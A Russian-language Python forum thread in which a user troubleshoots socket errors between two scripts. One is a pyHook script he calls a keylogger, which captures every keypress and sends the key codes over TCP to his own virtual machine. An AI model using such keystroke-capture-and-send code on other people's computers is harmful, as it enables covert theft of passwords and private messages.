Уведомления

Группа в Telegram: @pythonsu

#1 Апрель 15, 2015 18:06:04

Eliont
От:
Зарегистрирован: 2010-05-30
Сообщения: 77
Репутация: +  0  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

Доброе время суток.
Есть два компа (вернее, комп и виртуалка на нём VMWare player), и хост и гость - Windows 7.
Тип подключения - мост. Друг друга пингуют. В домашнюю группу объединены.
Адреса - 192.168.1.1 - роутер, 192.168.1.2 - хост, 192.168.1.3 - виртуалка.

Есть простой скрипт который берёт код нажатой клавиши и отправлет его в сообщении:
сендер, запускается на хосте

import win32api,sys,pythoncom,pyHook,ctypes,socket,time
def OnKeyboardEvent(event):
    global hm
    print "KeyID = ",event.KeyID," | Ascii = ",event.Ascii,"|","Window = ",event.WindowName
    s.send(str(event.KeyID))
    
print "Keylogger start"    
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = "192.168.1.3"
port = int(50000)
s.connect((host, port))
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
hm.HookKeyboard() 
pythoncom.PumpMessages()
ресивер, запускается на госте
import win32api,sys,pythoncom,pyHook,ctypes,socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('192.168.1.2',50000))
print "Receiver started."
s.listen(1)
sock, addr = s.accept()
print "Listening"
while True:   
    keycode = int(sock.recv(1024))
    print keycode
Сначала запускается ресивер и ждёт, затем логгер который посылает.
Когда запускаю оба скрипта на одной машине - всё работает, а когда пытаюсь заставить передавать - получаю ошибку:
Traceback (most recent call last):
  File "receiver.py", line 6, in <module>
    s.bind(('192.168.1.3',50000))
  File "C:\Python27\lib\socket.py", line 222, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 10049]
Уже задолбался. В чём может быть проблема? Заранее спасибо.



Офлайн

#2 Апрель 15, 2015 18:23:42

terabayt
От: Киев
Зарегистрирован: 2011-11-26
Сообщения: 1099
Репутация: +  103  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

s.bind(('', 50000))
?



————————————————
-*- Simple is better than complex -*-

Отредактировано terabayt (Апрель 15, 2015 18:31:20)

Офлайн

#3 Апрель 16, 2015 07:56:33

Eliont
От:
Зарегистрирован: 2010-05-30
Сообщения: 77
Репутация: +  0  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

То есть на приёмнике не надо указывать с какого адреса ждать, только порт который слушать?



Офлайн

#4 Апрель 16, 2015 16:33:51

Eliont
От:
Зарегистрирован: 2010-05-30
Сообщения: 77
Репутация: +  0  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

Спасибо, так ресивер запускается. Но теперь на хосте получаю ошибку

Traceback (most recent call last):
  File "keylogger.py", line 15, in <module>
    s.connect((host, port))
  File "C:\Python27\lib\socket.py", line 222, in meth
    return getattr(self._sock,name)(*args)
socket.error: [Errno 10060] A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond
Похоже, это говорит что порт закрыт.
Но как открыть? Брандмауэр выключен.

Пинг
Обмен пакетами с 192.168.1.3 по с 32 байтами данных:
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128
Ответ от 192.168.1.3: число байт=32 время<1мс TTL=128

Статистика Ping для 192.168.1.3:
Пакетов: отправлено = 4, получено = 4, потеряно = 0
(0% потерь)
Приблизительное время приема-передачи в мс:
Минимальное = 0мсек, Максимальное = 0 мсек, Среднее = 0 мсек

telnet
Подключение к 192.168.1.3...Не удалось открыть подключение к этому узлу, на порт
 50000: Сбой подключения



Офлайн

#5 Апрель 16, 2015 18:38:39

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

возьмите пример из https://docs.python.org/2/library/socket.html.
Он точно работает. Если не взлетит то надо будет разбираться с конфигурацией



Офлайн

#6 Апрель 16, 2015 18:41:21

doza_and
От:
Зарегистрирован: 2010-08-15
Сообщения: 4138
Репутация: +  253  -
Профиль   Отправить e-mail  

Пересылка сообщений между компьютерами в локальной сети.

возьмите пример из https://docs.python.org/2/library/socket.html.
Он точно работает. Если не взлетит то надо будет разбираться с конфигурацией



Офлайн

Board footer

Модераторировать

Powered by DjangoBB

Lo-Fi Version